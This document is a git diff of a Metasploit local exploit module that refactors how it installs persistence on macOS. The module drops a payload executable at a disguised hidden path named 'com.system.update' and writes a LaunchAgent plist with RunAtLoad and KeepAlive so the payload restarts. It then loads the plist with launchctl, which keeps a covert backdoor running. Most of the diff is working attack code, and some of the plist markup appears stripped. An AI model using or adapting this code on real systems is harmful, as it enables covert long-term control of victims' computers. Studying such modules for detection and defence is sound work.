diff --git a/modules/exploits/osx/local/persistence.rb b/modules/exploits/osx/local/persistence.rb index 7fee322649..ae89d870d2 100644 --- a/modules/exploits/osx/local/persistence.rb +++ b/modules/exploits/osx/local/persistence.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Local register_options([ OptString.new('BACKDOOR_PATH', [true, 'Path to hide the backdoor on the target.', - '/Users//Library/./com.system.update'] + '~/Library/./com.system.update'] ), OptBool.new('KEEPALIVE', [true, 'Continually restart the payload exe if it crashes/exits.', true] @@ -50,18 +50,97 @@ class Metasploit3 < Msf::Exploit::Local end def exploit + check_for_duplicate_entry # Store backdoor on target machine write_backdoor(generate_payload_exe) # Add plist file to LaunchAgents dir add_launchctl_item - # invoke the service if necessary - invoke_service if run_now? # tell the user how to remove the persistence if necessary list_removal_paths end private + # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path + def add_launchctl_item + label = File.basename(backdoor_path) + cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}") + # Note: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive + item = <<-EOI + + + + + Label + #{label} + Program + #{backdoor_path} + ProgramArguments + + #{backdoor_path} + + RunAtLoad + + OnDemand + <#{keepalive?}/> + KeepAlive + <#{keepalive?}/> + + + EOI + + if write_file(plist_path, item) + print_good("LaunchAgent added: #{plist_path}") + else + fail_with("Error writing LaunchAgent item to #{plist_path}") + end + + if run_now? + cmd_exec("launchctl load -w #{plist_path.shellescape}") + end + + print_good("LaunchAgent installed successfully.") + end + + # path to upload the backdoor. any or substrings will be replaced. + # @return [String] path to drop the backdoor payload. + def backdoor_path + @backdoor_path ||= (datastore['BACKDOOR_PATH'] + .gsub(''){ Rex::Text.rand_text_alpha(8) } + .gsub(/^~\//, "/Users/#{user}/")) + end + + # raises an error if a Launch Agent already exists at desired same plist_path + def check_for_duplicate_entry + if file?(plist_path) + fail_with "FileError", "Duplicate LaunchAgent plist already exists at #{plist_path}" + end + end + + # @return [Boolean] user wants the persistence to be restarted constantly if it exits + def keepalive?; datastore['KEEPALIVE']; end + + # useful if you want to remove the persistence. + # prints out a list of paths to remove and commands to run. + def list_removal_paths + files = [backdoor_path, plist_path] + print_status("To remove the persistence, run:\n"+ + "$ launchctl unload -w #{plist_path.shellescape}\n"+ + files.map{|f| "$ rm #{f}"}.join("\n")) + end + + # path to the LaunchAgent service configuration plist + # @return [String] path to the LaunchAgent service + def plist_path + @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist" + end + + # @return [Boolean] user wants to launch the LaunchAgent immediately + def run_now?; datastore['RUN_NOW']; end + + # @return [String] username of the session + def user; @user ||= cmd_exec('whoami').strip; end + # drops the file to disk, then makes it executable # @param [String] exe the executable to drop def write_backdoor(exe) @@ -75,74 +154,4 @@ class Metasploit3 < Msf::Exploit::Local fail_with("Error dropping backdoor to #{backdoor_path}") end end - - # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path - def add_launchctl_item - label = File.basename(backdoor_path) - cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}") - item = <<-EOI - - - - - Label - #{label} - Program - #{backdoor_path} - ProgramArguments - - #{backdoor_path} - - RunAtLoad - - KeepAlive - <#{keepalive?}/> - - - EOI - - if write_file(plist_path, item) - print_good("LaunchAgent added: #{plist_path}") - else - fail_with("Error writing LaunchAgent item to #{plist_path}") - end - end - - # tells launchctl to start the service we dropped - def invoke_service - print_status("Starting the LaunchAgent") - cmd_exec("launchctl unload -w #{plist_path.shellescape}") # in case of previous persistence (unlikely) - cmd_exec("launchctl load -w #{plist_path.shellescape}") - cmd_exec("launchctl start #{File.basename(plist_path).shellescape}") - end - - # useful if you want to remove the persistence. - # prints out a list of paths to remove and commands to run. - def list_removal_paths - files = [backdoor_path, plist_path] - run_cmd = "Then log out or run: launchctl unload -w #{plist_path.shellescape}" - print_status("To remove the persistence, delete the files:\n#{files.join("\n")}\n#{run_cmd}") - end - - # path to upload the backdoor. any or substrings will be replaced. - # @return [String] path to drop the backdoor payload. - def backdoor_path - @backdoor_path ||= (datastore['BACKDOOR_PATH'] - .gsub(''){ Rex::Text.rand_text_alpha(8) } - .gsub('', user)) - end - - # path to the LaunchAgent service configuration plist - # @return [String] path to the LaunchAgent service - def plist_path - @plist ||= "/Users/#{user}/Library/LaunchAgents/#{File.basename(backdoor_path)}.plist" - end - - def keepalive?; datastore['KEEPALIVE']; end - def run_now?; datastore['RUN_NOW']; end - - # @return [String] username of the session - def user - @user ||= cmd_exec('whoami').strip - end end